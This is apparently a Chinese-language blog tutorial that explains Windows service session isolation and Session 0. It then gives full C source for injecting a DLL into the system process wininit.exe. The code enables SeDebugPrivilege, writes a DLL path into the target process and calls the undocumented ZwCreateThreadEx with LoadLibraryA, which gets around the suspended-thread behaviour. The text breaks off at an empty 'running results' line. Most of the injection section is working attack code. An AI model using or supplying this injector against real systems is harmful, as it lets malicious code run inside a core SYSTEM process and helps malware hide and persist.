Windows服务第二话,会话隔离,关于服务不得不提的就是会话隔离机制了。服务作为一个特殊的应用程序,随着系统的开启和关闭而开始停止工作,部分情况下可能存在部分服务需要用户手动开启(一般都是用户自己自定义的服务)。
在早期的Windows操作系统中,Windows 服务在后台执行着各种各样任务,支持着我们日常的桌面操作。有时候可能需要服务与用户进行信息或界面交互操作。这个时候系统的服务以及应用程序是运行在同一个会话空间的,但是这个时候会存在较大的安全隐患。因为服务在运行的时候是提升权限进行运行的,但是大部分应用程序在运行的时候是没有相应的高级权限,这样在同一个会话空间的时候,服务程序所拥有的高级权限就会成为大部分黑客所趋之若鹜的对象。
所以在Windows Vista之后,对这个问题进行了安全限制。在Windows Vista系统之后,在用户登录的时候,系统服务和用户的应用程序分别运行在会话0和会话1。而且会话0和会话1之间是不能进行信息和界面交互操作的,这一点也可以在我们进行远线程注入的时候无法成功注入到服务进程中得到结论。
图示化:
早期Windows版本的会话机制:用户1在登录的时候,应用程序和服务运行在同一个会话空间里边,用户2在登录的时候,应用程序会运行在会话1中,系统服务是共用的。
Vista之后的操作系统版本:用户1在登录的时候,系统服务运行在会话空间0(Session 0)中,应用程序运行在会话空间1中(Session 1)。用户2登录的时候,应用程序运行在会话空间2中,系统服务同样也是共用的。
可以通过procexp来查看服务和应用程序所运行的会话空间
Windows服务之,穿透Session执行线程注入
采用常规的手段对Session 0服务的进程实现注入操作的时候,会注入失败,"罪魁祸首"就是Windows操作系统的点会话隔离机制。该机制使得其创建一个进程之后并不会立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。在使用CreateRemoteThread执行远线程创建的时候,会调用底层函数ZwCreateThreadEx函数执行创建远程线程,在进行服务进程的注入的时候,ZwCreatedThreadEx的参数CreateSuspended(也就是CreatedThread标志位)一直为1,这也就直接导致注入的线程一直处于挂起状态,无法运行。
#include<stdio.h>
#include<Windows.h>
#include<Tlhelp32.h>
#define DestProc "wininit.exe" //要注入的Session 0的进程
#define MyDLL "C:\\Users\\Administrator\\Desktop\\mydll.dll" //注入的DLL文件的路径
BOOL RrightRaise(HANDLE hProcess, const char *DestPower)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
printf("%d", GetLastError());
if (false == dwRet)
{
return FALSE;
}
bRet = LookupPrivilegeValue(NULL, (LPCSTR)DestPower, &luidValue);//获取特权值LUID
if (false == bRet)
{
return FALSE;
}
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (false == bRet)
{
return FALSE;
}
dwRet = GetLastError();
if (ERROR_SUCCESS == dwRet)
{
printf("SUCCESS!!");
}
}
BOOL GetProcessIDByName(char *name, PDWORD pid)
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//拍进程快照
if (INVALID_HANDLE_VALUE == hProcessSnap)
{
printf("CreateToolhelp32Snapshot Error :%d", GetLastError());
}
BOOL Ret = Process32First(hProcessSnap, &pe32);//枚举快照
while (Ret)
{
if (!strcmp((char*)pe32.szExeFile, name))
{
*pid = pe32.th32ProcessID;
}
Ret = Process32Next(hProcessSnap, &pe32);//下一进程信息
}
return TRUE;
}
int main()
{
//基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限
//获取要注入的目标进程的PID
//执行注入操作
//执行注入操作使用函数ZwCreateRemoteThreadEx
//首先提权:
HANDLE hProcess = GetCurrentProcess();
DWORD pid;
const char* DestPower = "SeDebugPrivilege";
RrightRaise(hProcess, DestPower);
//提权之后,匹配要注入的进程的PID,做进程遍历
BOOL bRet = GetProcessIDByName((char *)DestProc, &pid);
//打开目标进程句柄
HANDLE hand = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);//打开进程句柄
if (!hand)
return 0;
//申请空间,分配相应的权限
LPVOID lpaddress = VirtualAllocEx(hand, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpaddress)
return 0;
//向申请的内存空间写入数据
bool write = WriteProcessMemory(hand, lpaddress, MyDLL, strlen(MyDLL), NULL);
if (!write)
return 0;
//加载ntdll.dll
HMODULE hNtdll = LoadLibrary("ntdll.dll");
if (NULL == hNtdll)
{
printf("加载ntdll.dll失败!");
CloseHandle(hProcess);
return FALSE;
}
//获取LoadLibrary函数的地址
FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandle((LPCSTR)"kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
printf("获取LoadLibrary函数地址失败!");
CloseHandle(hProcess);
return FALSE;
}
//获取目标函数地址ZwCreateThreadEx
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx =
(typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("获取ZwCreateThreadEx函数地址失败!");
CloseHandle(hProcess);
return FALSE;
}
HANDLE hRemoteThread = NULL;
DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hand,
(LPTHREAD_START_ROUTINE)pFuncProcAddr, lpaddress, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
printf("目标进程中创建线程失败!");
CloseHandle(hProcess);
system("PAUSE");
return FALSE;
}
system("pause");
return TRUE;
}
运行结果: